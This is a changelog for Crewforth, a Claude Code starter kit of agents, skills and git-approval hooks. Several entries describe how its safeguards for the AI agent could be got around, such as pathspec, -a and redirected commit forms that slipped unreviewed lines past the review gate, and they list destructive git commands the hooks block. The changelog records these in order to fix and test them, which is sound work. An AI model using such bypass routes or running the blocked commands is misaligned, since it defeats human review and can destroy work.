Changelog

Crewforth was named Claude Starter Kit until 3.0.0.

Notable changes to this project are recorded here. Format follows Keep a Changelog, versioning follows SemVer.

[3.0.0] — 2026-09-28

BREAKING — Claude Starter Kit is now Crewforth

One name everywhere: the package, the components, the variables, the payload. Updating a 2.x project migrates it (npx crewforth update, /crew-update, or adopt.sh); nothing of yours is deleted.

2.x	3.0
`npx @byerlikaya/claude-starter-kit`	`npx crewforth`
`@byerlikaya/csk-studio` · `csk-studio`	`@crewforth/studio` · `crewforth-studio`
plugin `claude-starter-kit@byerlikaya`	`crewforth@crewforth` — reinstall: `/plugin install crewforth@crewforth`
`brew install byerlikaya/tap/claude-starter-kit`	removed — see Removed — the Homebrew channel below
agents `<x>-csk` (`backend-expert-csk`)	`crew-<x>` (`crew-backend-expert`)
commands `/<x>-csk` (`/review-csk`, `/ship-csk`)	`/crew-<x>` (`/crew-review`, `/crew-ship`)
skill `code-review-csk`	`crew-code-review`
payload directory `claude-starter/`	`kit/`

The update moves the kit’s own files from <x>-csk to crew-<x> and says each move. Only names the kit ships are considered: a file of yours that happens to end in -csk stays, and does not make the project look like a kit install. If both names exist, nothing moves, your crew- file is not overwritten, and the update tells you to keep one.
CLAUDE.md and the docs it references are swept for the old kit names (backend-expert-csk, @agent-planner-csk, /review-csk) and rewritten to the crew- form; nothing else in those files changes. A symlinked CLAUDE.md is written through, and nothing outside the project is edited — not through .., an absolute path or a symlinked directory. doctor (PROOF-5) reports an old agent name written into CLAUDE.md later.
npx crewforth add accepts security-expert, crew-security-expert and the 2.x name security-expert-csk alike; add --list shows the crew- names.

Variables are CREW_*. The ones you set yourself keep working under their 2.x name for the whole 3.x line (removed in 4.0); when both are set, CREW_* wins. The update and doctor name the new spelling of any 2.x variable still set — and say plainly when it is one that is no longer read:

2.x	3.0
`CSK_LANG`	`CREW_LANG`
`CSK_NO_STAR`	`CREW_NO_STAR`
`CSK_NO_UPDATE_CHECK`	`CREW_NO_UPDATE_CHECK`
`CSK_NO_BOARD`	`CREW_NO_BOARD`
`CSK_GATE_LOG` · `CSK_GATE_LOG_CMD`	`CREW_GATE_LOG` · `CREW_GATE_LOG_CMD`
`CSK_STUDIO_TOKEN` · `CSK_STUDIO_PEERS` · `CSK_STUDIO_RUNTIME`	`CREW_STUDIO_TOKEN` · `CREW_STUDIO_PEERS` · `CREW_STUDIO_RUNTIME`
`CSK_MAX_FILE_BYTES`	`CREW_MAX_FILE_BYTES`
`CSK_ALLOW_SOURCE_INSTALL`	`CREW_ALLOW_SOURCE_INSTALL`

Internal and test variables were renamed with no fallback.

The team board is refs/crew/board (or the crew-board branch where the server refuses custom refs), with crew.board* settings. The update moves this clone’s board ref, settings and caches and adds a crew-board remote beside a csk-board one; it never deletes the remote’s 2.x ref, and says so. While that ref exists, every 3.x write goes to both refs in one atomic push, so a team that updates one person at a time keeps one board and one lock: a 2.x claim is refused against a 3.x claim and the other way round, and nothing either side writes is lost. Delete the old ref once everyone is on 3.x. No git feature newer than the kit already needed is involved.
The Studio panel keeps your layout: its saved theme, widths and canvas layout move to the new key names the first time it opens.
Auto-mode rules applied by 2.x (CSK … in your user settings) are renamed Crewforth … by the update, after a backup; nothing else in that file changes.
Fixed: an update appended docs/ to .gitignore again on every run when docs/ held tracked files.
Plugin users on 2.x: the plugin and marketplace were renamed; uninstall claude-starter-kit, then add Crewforth/crewforth and install crewforth@crewforth.

Added — 2.x installs reach 3.0 through the old package name

npx @byerlikaya/claude-starter-kit forwards to npx crewforth@3. 2.x installs check for updates and update through the old name; its 3.0.0 prints one line saying where it forwards and runs crewforth with the same arguments and the same exit code. The old package is deprecated with a pointer to the new name, which warns and does not stop it. Nothing needs to change on your side.
Node.js 20 or later is what the package now declares (22 or 24 recommended); older versions get npm’s engine warning and are not blocked. Claude Code 2.1.214 or later is recommended; this release is tested on 2.1.282.

Removed — the Homebrew channel

Removed: the Homebrew channel. Install with npx crewforth, the Claude Code plugin, or the release archive. The last formula (claude-starter-kit, 2.13.0) stays in the old tap and will be marked deprecated.

BREAKING — the backend is stack-agnostic; the .NET install path is gone

--dotnet no longer selects anything. It is still accepted: it prints a warning and installs the same stack-agnostic kit as every other command line. --generic is accepted silently. The wizard has two steps now (who the install is for · summary) — scripts that piped an answer to the old backend question should drop it.
No base project is cloned any more. The DevArchitecture base, its approval gate, the ./backend / ./frontend scaffold and the Windows long-path warning that came with it are removed.
cqrs-aop-module is no longer shipped. Its replacement is backend-architecture, which resolves the stack per project — the request, then CLAUDE.md ## Stack, then the repo’s manifests, and only in an empty repo up to four multiple-choice questions (each with a recommended option and “Decide for me”) — then records the answer in ## Stack and an ADR, and carries a pattern menu (layered · clean/hexagonal · vertical slice · CQRS) and the language-neutral backend rules. Its triggers include the four the old skill routed.
One backend agent. crew-backend-expert is stack-agnostic and applies the project’s own pattern skill if it has one, backend-architecture otherwise; agents-optional/ is gone. crew-database-expert reads the engine and ORM from ## Stack / the repo instead of assuming PostgreSQL + EF Core. crew-planner resolves the stack before planning in an empty repo.
Updating a pre-3.0 --dotnet install keeps your pattern skill. kit.conf is rewritten to stack=generic (the key stays, for older updaters); .claude/skills/cqrs-aop-module — or devarch-module, renamed as before — is left exactly as it is and becomes a project skill that the backend agent goes on applying. The update says so once, the stale-file sweep no longer offers to delete it, and while it is present the §4.2 DevArchitecture line in the trace blocklist stays armed. CSK_CORRECT_STACK has no effect and says so.
adopt.sh no longer asks about .NET on a fresh adopt, and no longer deletes a pattern skill on a generic stack.

Changed — the slash commands are skills; forked sessions are recognised

The 11 commands are skills now, as Claude Code merged custom commands into skills (.claude/commands/ is its older format). They live in .claude/skills/crew-<name>/SKILL.md; the names you type are unchanged (/crew-review is still /crew-review). Five run only when you type them — /crew-studio, /crew-board, /crew-skill, /crew-gates, /crew-brainstorm — and stay out of Claude’s context; the other six (/crew-plan, /crew-review, /crew-ship, /crew-handoff, /crew-update, /crew-doctor) Claude may run itself, as the workflow expects.
The update moves them. The kit’s own commands move from .claude/commands/ to .claude/skills/ (a 2.x <name>-csk.md goes straight there); a command of your own in .claude/commands/ is not touched, and if a skill of the same name already exists nothing moves and the update says so.
Forked sessions (Claude Code 2.1.214+) get the handover reminder, the skill-trust check and the team board like a resumed one; the update question stays on a fresh start only.
MultiEdit is gone from the file-tool gate’s matcher — it is no longer a Claude Code tool.
Wording: the 11 command-skills are called commands, not slash commands, matching Claude Code’s docs (custom commands were merged into skills, and / opens the command menu). You still start each with its /crew-… name.
The team board (/crew-board) ships as experimental and is left out of the command list until it is finished.
crew-code-review rewritten: plan → review → fact-check, every finding carries a severity (critical/high/medium/low) and a category; the comment labels are gone.
frontend-design names the defaults to avoid when a project gives no design direction (a cream ground with a serif and terracotta, a purple-to-blue hero, a black ground with one neon accent, and six more), after looking for the project’s own system first. Installed text no longer calls Crewforth a kit: the skills’ adaptation note is “Crewforth adaptation”, and the discipline quotes the update warning the hook actually prints.

Fixed — found by the release rehearsal

Counts: a fresh install says “12 agents · 39 skills · 10 commands”, as the README does, and an update from 2.x counts skills and commands (it used to print “51 skills” and “+75” — directories and files). The closing line no longer names the installer’s folder.
/crew-doctor speaks your language: it answers in the language the project was installed in; commands, paths and settings keys stay as written. The skill-listing check counts the way Claude Code counts, reads skillListingBudgetFraction from your settings, and on a 200,000-token model tells you the one line to add and what it costs. In the plugin edition, /crew-doctor reports the same thing.
Updating from 2.x:
- a repository with no commit yet gets a one-line branch name and accept/discard commands that work there;
- a repository that already ignores .claude is recommended to keep it local;
- in a private install the handover and the ADR are written but not staged;
- the .NET pattern skill the update keeps is not flagged as unvetted in the next session;
- the 2.x template sentences in CLAUDE.md are brought up to date, and your own lines are left alone.
The 2.x package name says which package it forwards to.
Replies stay in your language even when a skill’s text is English, and a Turkish install says so at every session start, so a bare command such as /crew-doctor is answered in Turkish too.
/crew-review runs the closing reviewer whenever the audits leave no critical or high finding; medium and low findings go into its prompt and the report.
Release asset: a release candidate’s archive carries its own version in the file name.

Added — “an update is out, update now?”

A newer release is a question, not a footnote. At session start Claude asks once — Update · Later · Skip this version — before answering the first message (an urgent first message, such as an error, is answered first and the question comes at the end of that reply). Update runs /crew-update (a plugin install runs claude plugin update crewforth@crewforth, applied on restart). Later, or closing the question, asks again the next day at the earliest; Skip is silent until a newer release. A major version adds a line to read the CHANGELOG first. The question speaks the install’s language, and nothing is asked in CI, with CREW_NO_UPDATE_CHECK=1, or in a non-interactive run (claude -p). There is no silent auto-update: nothing updates without the user’s pick.
/crew-update shows what it did. It names uncommitted changes in .claude/ and CLAUDE.md first and asks before going on; afterwards it lists the files added, changed, moved and removed, and reports what changed from the installed package’s own CHANGELOG — never from the network.
A shared .claude/ keeps .claude/.state/ out of git — the kit’s runtime state on this machine.

Added — the Crewforth front page and a one-time star line

New brand set. assets/logo.svg, logo-light.svg, icon.svg and mark.svg are the Crewforth mark (›››); social-preview.png/.svg and icon-512/180/32.png are new; the unused logo.png is removed. The generated diagrams and the Studio panel draw the same mark.
README front page (English, Turkish, npm): the promise, npx crewforth / npx crewforth adopt, four badges and the panel GIF.
A star line, once per kit version. The install, an update to a new version, or a healthy doctor — whichever comes first — prints one line asking for a star; a marker in the git dir (never under .claude/, so it is never committed) records the version, and nothing repeats it until the version changes. /crew-update and /crew-doctor pass the line through to you; no hook or session start prints it. CREW_NO_STAR=1, or any defined CI, silences it, and a silenced run leaves no marker.
The front-page proof line was re-measured, and it no longer holds. permission-pressure (bare 6 of 10, kit 0 of 10, one-sided Fisher p = 0.0054) had been measured on the 2.x texts. After the 3.0 text changes it was run again at n=10 under the same rule, fixed before the run (kit ≤ 2/10, bare ≥ 6/10, p < 0.05): bare reached 4 of 10, kit stayed at 0 of 10, p = 0.0433, and the bare condition failed. So the line and its chart are not on the front page; the result, the calculation and the raw output are only in evals/README.md and evals/results/.

Added — crewforth.com, built from this repository

A documentation site (site/, Astro + Starlight), in English and Turkish with the same pages at the same addresses (/install/, /tr/install/). The agents, commands, skill catalogue and gate rules on it are generated from the payload when the site is built, and so are the counts and the cost figures it quotes; a missing Turkish line fails the build instead of showing English. It is gated on what it builds: every page in both languages, no old name, no figure the eval table does not carry, no broken link, and no third-party request unless an analytics token is set. Publishing is off until the repository variable SITE_DEPLOY is set. packaging/build-readme-catalog.sh is retired: the catalogue is no longer a copy that can go stale.

[2.13.0] — 2026-09-23

Before you update — five things that change behaviour

The installer asks which language to speak. An interactive start.sh or adopt.sh now opens with an English / Türkçe menu. --lang, CSK_LANG, --yes and any non-terminal stdin skip it, so a scripted or piped install is never stopped by it (on a Turkish locale it now prints Turkish throughout).
git add and creating a branch no longer ask, in any mode. Commit and push still need your approval everywhere; in auto, dontAsk, plan and bypassPermissions they still fail closed.
The kit no longer uses jq or python. Nothing to install or remove, but preflight.sh stops listing them, and a machine without them now runs the same code as one with them.
Studio’s raw terminal is gone. --enable-pty is now an unknown argument (exit 64). Shell work in the panel still runs through a session’s Bash tool.
An update writes the new JSON reader to .claude/eval/lib/. doctor.sh, context-usage.sh and the settings merge read through it; if that directory is missing, doctor.sh and a by-hand context-usage.sh say so by name.

Changed — the e2e rehearsal says why it failed

packaging/e2e.sh used to send every installer and smoke call to /dev/null, so a failing step under set -e left only an exit status. Every installer and smoke step now writes its own numbered log, and only a failing step prints its last 20 lines. A green run prints what it printed before.

Fixed — an assertion inside a subshell could not fail the parser suite

parser-conformance.sh counted results in shell variables, so an assertion inside ( … ) or a pipeline moved a copy and a failure there could not turn the run red. Every assertion now also logs the counter to a file, and a backward walk over that log names each lost assertion, including several lost inside one subshell. The file is removed on every exit path, early ones included.

Changed — staging and creating a branch no longer ask, in any mode

git add and creating a branch (checkout -b/-B/--orphan, switch -c/-C/--create/--orphan) run without a prompt in every permission mode. Neither publishes anything, and asking for them made auto mode stop and demand a mode switch for work that cannot hurt anyone. git add -f and forced branch operations stay blocked (§4.5).
Commit and push are unchanged: they need your approval in every mode, auto included. Where a prompt can reach you they ask; where it cannot (auto, dontAsk, plan, bypassPermissions) they fail closed.

Changed — one path on every OS: the kit no longer uses jq or python

Every hook, installer step and eval script now runs the same bash/awk code on macOS, Linux and a stock Windows Git Bash. Before this, each machine picked jq, then python, then bash, so they ran different code. The kit reads and writes JSON through one reader, .claude/eval/lib/settings-json.awk, which adopt.sh, doctor.sh and automode-policy all share. preflight.sh no longer reports jq or python, because nothing needs them.
A new smoke gate fails when a shipped product script calls jq or python. It prints how many scripts it scanned, and calibration twins check that it fires on a real call and stays silent on prose.

Fixed — defects that only lived on machines without jq or python

An update without jq or python3 no longer throws away your own settings. On such a machine (a stock Windows Git Bash, where python3 is often the Microsoft Store stub) the update used to replace .claude/settings.json with the kit’s copy, so a rule like Bash(terraform apply:*) was lost and only a backup kept it. The settings merge is now one awk program, .claude/eval/lib/settings-json.awk, and gives the same result on every machine: the kit’s hooks refreshed, your own hooks, rules and keys kept. A file that is not valid JSON is left untouched and reported.
The board vanished from the session when an item title had a tab. board-sync.sh escaped only the quote, the backslash and the newline, so a tab, a CR or any control byte produced JSON the CLI could not parse (measured: jq rc=5), and the CLI dropped it without a word. The escaper now matches jq byte for byte on 15 inputs.
A clean git commit -F "my msg.txt" was refused. Without python3 the commit gate cut the path at the first space, found no such file and refused the commit. That happened on 5 of 12 measured shapes: quoted, spaced or Windows-backslash paths, and a repeated -F. The gate now reads -F with the same tokenizer it uses for -m, and on all 30 shapes it returns what python’s shlex returned.
On a machine without python3, doctor said “delegation MAY be denied”. It now gives a real verdict. Invalid JSON there was also reported as “hook events missing”, with advice to restore the kit’s file, which would have dropped the project’s own hooks. It is now reported as invalid JSON.
automode-policy could not install on a stock Windows box. With no jq or python it printed the policy and stopped. It now merges, and its output matches jq -s '.[0] * .[1]'.

Removed

The Studio panel’s raw terminal (--enable-pty). It was off by default and Unix-only. It was the one part of the panel that bypassed the kit’s gates, and the panel’s only python3 dependency. Shell work in the panel still runs through a session’s Bash tool, where the gates apply.

Added — the installer asks which language to speak

An interactive start.sh or adopt.sh now opens with a two-line menu, English or Türkçe, and the rest of the run speaks the answer. The locale only decides which entry is the default. Detection alone was not enough: a macOS desk can run in Turkish while the shell exports LANG=C.UTF-8, so Turkish was never offered. --lang, CSK_LANG, --yes and any non-terminal stdin skip the menu, so scripted and piped installs read exactly what they read before.

Fixed — Turkish mode printed English

Roughly 45 lines in start.sh and more than 200 in adopt.sh never went through the message table, so a Turkish install still printed English. The DevArchitecture prompt, the CLAUDE.md branches, the long-path warning, the proof lines and most of the adopt summary were among them. Every printed line now has a Turkish text, written for a Turkish reader rather than translated word for word. The yes/no prompts read [evet/hayır], and --help has a Turkish version.
--lang tr never reached the preflight block. The chosen language was not exported, and the child script fell back to English.
Turkish labels threw the summary columns out of line, because printf pads by bytes. They are now padded by characters.
A new e2e case runs both installers in Turkish, down both backend paths plus an adopt and a refresh, and fails on any English function word in the output. The same run in English has to match, or the case reports a broken detector instead of passing.

[2.12.0] — 2026-09-22

Before you update — five things that change behaviour

A commit now needs a review of THAT diff. review-agent-csk records what it cleared in .claude/review-pass.json, and a commit is refused unless the record still matches what is staged and the HEAD it was reviewed on. Run the review before committing; commit from the index (git add, then git commit with no paths). Committing in your own terminal is the deliberate way round it, and CLAUDE_GIT_OK skips it.
A commit can no longer quietly lower the quality bar. pre-commit refuses a checker switched off where it fired (@ts-ignore, eslint-disable, # noqa, …), a skipped or focused test, a stub left where code should be, a deleted test file, and assertions taken out of a test. A genuine exception goes in .floor-allowlist.txt at the repo root, in the same diff as the code it excuses.
Forced git branch is blocked — -D, -f, -M, -C and every spelling of them, in every mode, and CLAUDE_GIT_OK does not open it. -d, -m, -c, listing and plain creation still run.
The update removes four ask rules from your .claude/settings.json — git add, git commit, git push, git checkout -b — and names them when it does. The hook asks for these itself now, and an ask rule would stop CLAUDE_GIT_OK from working. Every other rule you have is kept.
The .NET pattern skill is renamed devarch-module → cqrs-aop-module. The update moves the directory and keeps its content; nothing to do unless both names are present, in which case it says so.

Added — the installer speaks Turkish; what it writes stays English

start.sh, adopt.sh and preflight.sh print in Turkish with --lang tr, CSK_LANG=tr, or a Turkish locale (LC_ALL / LC_MESSAGES / LANG, in that order); anything else, including an unknown value, is English. Only what is printed changes: CLAUDE.md, the agents, the skills and your commit messages stay English, tool names are never translated, and both languages install the same files.
On Windows, pass --lang tr or set CSK_LANG=tr. Git Bash leaves LANG, LC_ALL and LC_MESSAGES empty, so the locale is never detected there and the installer stays in English.
The English string is the lookup key, so a missing translation falls back to English rather than printing a blank line or a key. A new verify.sh step (i18n) audits the translation tables in bash — not python, because the Windows Store stub would make a python checker skip exactly where these scripts are hardest.

Fixed — unattended installs no longer hang, and `--yes` no longer clones a third-party project

Under a terminal with nobody at it, the confirmation and the stack chooser waited forever. Both now answer to --yes — the only thing that helps there, because stdin cannot tell an unattended terminal from a slow typist. When stdin is NOT a terminal and stays open without sending anything, a prompt gives up after 10 s and takes the safe answer. The piped CI form (printf 'yes\n' | bash start.sh) still works.
--yes now DECLINES the two DevArchitecture questions instead of approving them. Installing the kit unattended is not consent to clone a base project into your repository over the network; that still needs a person.

Changed — `.gitignore` is asked, and the summary shows every line it will write

The installer used to add four entries to a tracked .gitignore without mentioning it. It now asks once — keep the kit’s files private (the old behaviour, still the default) or share them — and the summary lists the exact lines before you confirm. Two defects in the writer went with it: a file without a trailing newline got its last entry glued to the next (node_modulesdocs/), and .claude/ could be added twice.

Fixed — an adopted install no longer publishes `docs/`

start.sh kept docs/ private but adopt.sh staged it, so an adopted repository received the working documents the skills write there — THREAT_MODEL.md, SECURITY_FINDINGS.md, PLAN.md, SESSION_STATE.md. It is private now, and the “hide” choice covers it too. The adoption’s own HANDOVER and ADR are still added, so they stay visible in the review diff.
AGENT_TEMPLATE.md now ships with an adoption and is refreshed on every update. /skill-csk opens by reading it, so on an adopted install the command pointed at nothing.

Changed — a refusal names the way forward, not the violation

One sentence served every block rule, and for two classes its advice was the violation itself: a hook-tamper refusal ended by telling you to disarm the hooks by hand, a secret refusal by telling you to print the secret yourself. Each rule now belongs to a class — loss, history, tamper, secret, bypass, exec, exposure, approval — and each class carries its own next step. A rule with no class says so loudly instead of borrowing a plausible sentence.

Added — `verify.sh` finds assertions that pass without being counted

An assertion inside a subshell prints green while the suite’s total does not move, so its failure is invisible. A tenth step (subshell) looks for that shape; a deliberate exception carries a marker on the line it excuses.

Fixed — forced `git branch` is blocked like `reset --hard`

The hook had no opinion on any git branch command, including the four that lose work: -D deletes an unmerged branch together with its reflog, -f moves a branch and orphans the commits it pointed past, and -M / -C overwrite an existing branch. They are now a §4.5 block in every mode, and CLAUDE_GIT_OK does not open it — the same class as git reset --hard and git push --force.
Every spelling counts. -d --force is -D, --move --force is -M, and a flag cluster such as -qD deletes too; all of them are caught, with or without a git global option in front.
The safe twins still run: -d (git itself refuses to delete unmerged work), -m, -c, listing, and plain creation (git branch feature), which stays outside the approval set by choice. The rule is case-sensitive because those twins differ from the forced forms by case only.

Fixed — every way of creating a branch asks, not only `git checkout -b`

The approval gate knew one spelling. In the interactive modes only a bare git checkout -b x prompted. checkout -B, checkout --orphan, switch -c / -C / --create / --force-create / --orphan, and any of them behind a git global option (git -C repo checkout -b x) ran without a prompt; the switch forms were also missing from the CLAUDE_GIT_OK set, so a pre-authorised session got no allow for them.
All of them now ask, and the key covers all of them. Moving between existing branches (git checkout main, git switch main, git switch --detach) is still not gated. git branch <name> — creating a branch without switching to it — was never in the approval set and is not added here.
The suite now checks both directions: every creating spelling must ask, and no switching spelling may.

Fixed — `CLAUDE_GIT_OK` pre-authorises a headless commit again

The pre-authorisation was dead and nothing said so. settings.json shipped ask rules for git add, git commit, git push and git checkout -b, and Claude Code evaluates a matching ask rule regardless of what a PreToolUse hook returns — so the hook’s allow under CLAUDE_GIT_OK=1 could never clear them, and a headless session has nobody to answer the prompt. Measured in the paid A/B: the gate log recorded ALLOW §4.4 CLAUDE_GIT_OK, yet the kit arm staged nothing and committed nothing.
The prompt now comes from guard-bash.sh alone, and the four rules are gone. In the interactive modes the hook asks for all four verbs, as the rules did; in auto, dontAsk, plan and bypass, git commit and git push still fail closed, while a plain git add and git checkout -b run — staging and branching publish nothing. git add -f is still refused. The deploy ask rules (ssh, scp, rsync, docker) are unchanged.
Updating removes the retired rules from existing installs. The settings merge only ever added entries, so without this the fix would have reached new installs and no one else. It removes exactly those four strings and keeps every other rule, including ones you wrote yourself. If you want them back, re-add them — knowing they switch the pre-authorisation off.

Changed — the .NET backend-pattern skill is now `cqrs-aop-module` (was `devarch-module`)

The old name carried a third-party template’s name into every .NET project’s skill list and / picker. It is renamed to a neutral name that says what it is: the MediatR CQRS / IResult / AOP pattern. Nothing about its content changed.
Upgrading is automatic and nothing is deleted. On an update the installer MOVES the old skill directory to the new name, so a customised copy keeps its content. If both names are already present it moves nothing and says so, and you remove the old one when ready.
The upgrade path is what made this more than a rename. Stack detection for installs that predate kit.conf reads the stack from this skill’s directory name, so a rename that only knew the new name would have classified every such .NET install as generic on its next update — and the generic path removes the pattern skill. Measured against that exact mistake: with the naive rename, an old .NET install came out stack=generic with the pattern skill gone; with this change it comes out stack=dotnet, migrated, with no leftover copy. Detection and generic pruning now recognise both names.

Added — §4.6: a commit is refused unless something reviewed THAT diff

“review-agent-csk clean” was a Definition of Done item with nothing behind it. The chain that reaches it — write, audit, review, commit — was model discipline end to end, so a session that simply did not delegate the review produced a commit indistinguishable from one that passed it. review-agent-csk now records what it cleared in .claude/review-pass.json, and guard-bash.sh refuses git commit unless that record still describes what is staged.
Two exact facts, no wall-clock TTL. The record carries git’s object id of the staged diff and the HEAD it was reviewed against; both must still match. A time window was the first design and was dropped because it is wrong in both directions: it rejects a record that is still correct (same diff, same base, an hour later) and accepts one that is not (same minute, rebased underneath).
No size exemption. The first draft skipped single-file commits; that contradicts the kit’s own “RISK decides, not size”, and a hook cannot judge risk — it can only count files. A one-line auth change is one file and still a diff nobody read. The deliberate ways through are unchanged and explicit: run the commit in your own terminal, or a CLAUDE_GIT_OK session, which already bypasses §4.4.
Git does the hashing — and the reason took two corrections from a Windows machine to get right. On macOS the suite’s sandbox reaches its minimal tier and carries no hasher, and there the first version computed an empty hash and blocked every commit: a gate failing for a missing tool instead of a missing review. On Windows that tier cannot be built (ln -s yields no real symlink there), the sandbox falls back to stubbing jq/python3 over the full PATH, and /usr/bin/sha256sum is present — so “a stock Git Bash lacks the hashers” was wrong, and even “the sandbox carries none” holds on only one of the two platforms. The portable reason: git cannot be absent where a commit is being gated, it being the thing under gate. It also needs no repo and costs one process instead of a probe plus a hasher.
A commit has to take its content from the INDEX, and the first version of this gate did not say so — which made it a measured fail-open. With a reviewed line staged and an unreviewed line merely saved in the same file, git commit -m c -- a.txt matched the record and committed the unreviewed line. So did --only, --include, their -o/-i short forms, --patch, --interactive and -a: git takes those paths from the working tree and ignores what is staged, while the hook hashes the index before git runs. The record was truthful and irrelevant at the same time. All of those forms are now refused, and the premise is pinned by a case that performs such a commit and reads the blob back, so the day git changes its mind the suite says so. (§4.1–4.3 were never affected: git hands its own pre-commit hook a temporary index holding the real committed state, measured, so the trace and secret scans always saw what lands.)
That check is a builtin token walk, not a regex, and it costs zero processes — the ordinary commit used to pay one grep here, which is 62–135 ms on Git Bash. A regex could not do the job: the flag or path has to be an argument of this git commit, and the previous version could only manage that by refusing to look past the first non-option token, which left git commit -m x -a uncaught by its own admission. Quoted spans are stripped first, and that strip is load-bearing — removing it turns seven cases red, among them git commit -m "add -a flag docs" and ls -la && git commit -m x, the two false positives measured on the first version of the rule. Four further classes are pinned, each because the walk got one wrong and measuring settled it: a short token is a CLUSTER, so -qam is -q -a -m and the test has to be a character class rather than an equality check; a cluster ENDING in a value-taking letter is followed by that value, not a path, so git commit -qm x was being refused as a pathspec commit while git commit -qm "x" was allowed — the quote strip removed the message in the quoted spelling and hid the defect through a full suite pass and a 38-case Windows run; a BARE -- commits from the index, so refusing it is a false positive; and an OPTIONAL-value flag swallows nothing, so listing -S and -u as value-taking made an ordinary git commit -S -m x refuse. The Windows leak table is identical with core.autocrlf both on and off, and the staged diff’s object id is unchanged in every leaking form — which is exactly why the record kept matching.
A commit redirected with -C/--git-dir/--work-tree fails closed, because the record describes THIS worktree. The block prints the reviewed and the staged id side by side — the first version printed nothing, and the failure read as §4.4 to everyone who hit it.
The record is found through the payload’s cwd, and that value is normalised as JSON. §4.6 first resolved a bare relative path against the hook’s own process cwd, and a Windows session measured the cost: a process cwd of /c with a perfectly valid record in the project answered “nothing has reviewed this diff” — fail-closed, but on a false premise, which sends the user to re-run the reviewer forever. The same session then captured a live payload from the real harness: cwd is the project root in native Windows spelling, so every separator arrives doubled by JSON escaping. Folding that alone yields D://Projects/…, which Windows tolerates by accident; the accident runs out at the front of a path, where a project on a network share folded to ////server//share and is no UNC path at all. Escapes are now undone before the fold.
smoke-test.sh §4f drives the real hook in a real repo — 119 assertions, 49 refused forms and 52 that must NOT be over-blocked, a boundary stated in both directions (writing a commit command into a document is clean; an unquoted echo git commit -am x is refused, because this hook does not parse shell — tightening that would trade a harmless refusal for real misses like sudo git commit -am x), and the contract itself: the recipe is extracted from review-agent-csk.md and executed, then the hook is driven against the record it produced. A string comparison would stay green while the two drifted in meaning. Every command is now cased in BOTH spellings, quoted and bare, because that blind spot produced both defects in this rule: the suite quoted messages and left paths bare, so a quote strip that DELETED spans let git commit -m c "a.txt" and git commit -m c -- "a.txt" through while refusing their unquoted twins — the same unreviewed line in the commit either way, and no trick needed to reach it, only the ordinary habit of quoting a path, which is mandatory once it contains a space. A quoted span now collapses to a single placeholder token rather than vanishing: its CONTENT must not be read as an option or a path, but the TOKEN has to survive, and adjacency with it, so -m"msg" stays an attached value. Two more shapes came from the same axis once it was being swept deliberately: a newline is a command separator, so git commit -m c followed by a line echo done was refusing the commit with done read as a pathspec — a multi-line call being one of the commonest shapes there is; and an escaped quote is not a delimiter, so git commit -m 'don'\''t break this', the canonical POSIX apostrophe idiom, was refused while -m "don't break this" — identical argv — was clean. Both are converted before the walk, in both the decoded and the raw-JSON spelling, because with jq the command arrives decoded and on a stock machine the fallback parser does not. Sweeping the rest of that axis on purpose, rather than waiting for the next report, then produced five more — and two of them failed OPEN, which is why the shapes are not cosmetic: separators were not their own tokens, so git commit -m c; echo done was refused (-m swallowed c; whole) while if true; then git commit -m c -- a.txt; fi was ALLOWED (the pathspec token was a.txt;, which the -- lookahead dismissed as a separator). A redirection is skipped over, so > log.txt, 2> err and a heredoc’s <<EOF stop having their target read as a pathspec — while a redirection belonging to an EARLIER command still cannot end the scan before the commit is reached, which was the fail-open risk inside that fix and is asserted. Skipping rather than STOPPING is itself a correction and the reason is worth keeping: the first version broke off at a redirection, and that was written down as a boundary on the grounds that nobody puts a path after one. Measured rather than assumed, git commit -m c > log.txt -- a.txt returned rc=0 and the commit carried the unreviewed line — so the boundary’s price was not a missed refusal but a leak, and a guess about likelihood is no defence against a fact. Closed, with 2>&1 | tee log pinned so the closure cannot start reading a pipe’s operand as a path. A line continuation joins rather than separates, in both LF and CRLF spelling: the CRLF one survived the LF fix because the CR sat between the backslash and the newline, and a command pasted from a Windows editor carries it. A lone CR is deliberately still refused — bash’s own argv was checked and CR is not in IFS, so git commit -m c<CR>echo done really does hand done to git as a pathspec.
The suite never asked about the tier CI runs on, and CI was the only machine that could say so. One assertion went red on windows-latest — a CRLF line continuation refusing an ordinary commit — while the same case passed on macOS and on a real Windows desktop. The cause is which decoder is present: GitHub’s image has jq, so the command arrives DECODED, while a stock desktop has neither jq nor python3 and sees JSON’s two-character escapes. A Windows-native binary also opens stdout in TEXT mode, so every LF it writes becomes CRLF, and a command that already held \r\n reaches the hook as \ + CR + CR + LF: the single CRLF fold ate one CR, the continuation rule then looked for \ + LF with the other CR in the way, and the lone backslash read as a pathspec. Any Windows user with jq installed was on that tier, so this was a live defect rather than a CI artefact. Every carriage return is now stripped, escaped or real, which needs no loop — and the line that does it was isolated by applying it alone to the failing version. A hermetic fixture (no jq, no python3, no perl) now hands the hook those exact bytes and checks itself first, so a stub that fails to take cannot pass as green rows; calibrated against the failing version, exactly the row CI reported goes red. The normaliser is likewise extracted from the hook rather than copied. doctor.sh gained the matching liveness probe, calibrated against a neutered hook. The §4.4 cases that drive a commit now run in a cwd where §4.6 is already satisfied — otherwise each one would have been answered by the new gate while §4.4 could have been deleted entirely with the suite still green.

Changed — the audits go out at once, and the reviewer closes rather than opens

The kit said nothing about the order or concurrency of its own audits. Found by reading all twelve agents against each other: backend-, database-, frontend- and test-expert-csk each say “at closure, report findings to review-agent-csk”, and AGENT_TEMPLATE.md says it too — while review-csk.md listed review-agent-csk first. Five sources against one. Workflow §3 now states that the applicable audits (security · privacy · performance · test) go out as several Agent calls in ONE message, that a finding or a red test returns to the owner that wrote the code, and that all of them run again afterwards, because the diff they cleared no longer exists. §4 closes only once §3 is clean.
review-csk.md reordered to match, and it now includes privacy-agent-csk, which it had never mentioned.
Two asymmetries closed. performance-expert-csk appeared in no writing agent’s Coordination at all — it relied entirely on its own description firing — and frontend-expert-csk named no security delegation while backend and database both call it MANDATORY. Both are now wired, XSS/CSRF/client-side secret exposure included.
A design summary before architecture, not after. AGENT_TEMPLATE.md gained a pre-flight step beside confidence-check: a new or changed data model/schema, a new or changed API contract, or 2+ domains touched gets 3-5 lines put to the user with AskUserQuestion before the first line of code. adr records a decision once taken; nothing asked before it was taken. Trivial single-domain work skips it. Model discipline, stated.
No unbounded ping-pong. backend-expert-csk and database-expert-csk reference each other with no bound, so more than 3 handovers between the same two agents on one task now stops and asks. Written into both agents as well as the template — a rule only in AGENT_TEMPLATE.md reaches nobody, because that file is not loaded into a session.
